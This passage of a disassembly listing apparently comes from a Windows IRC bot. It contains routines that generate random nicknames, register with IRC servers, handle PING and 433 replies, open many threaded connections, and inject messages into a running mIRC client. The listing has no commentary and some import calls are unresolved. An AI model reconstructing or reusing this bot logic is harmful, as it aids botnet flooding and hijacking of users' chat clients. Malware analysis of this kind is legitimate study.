200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2790000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27A0BC3h push eax nop call near ptr 27A0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B4C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B9C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27A0BC3h push eax call near ptr 2790000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA2C ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387B4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387A4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx call near ptr 2670096h nop inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 26709C5h nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27C0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27D060Dh push esi mov edi, eax nop call near ptr 27D0000h call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 27E0174h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 27E0000h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 27D0BB2h push edi nop call near ptr 26518CEh push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O 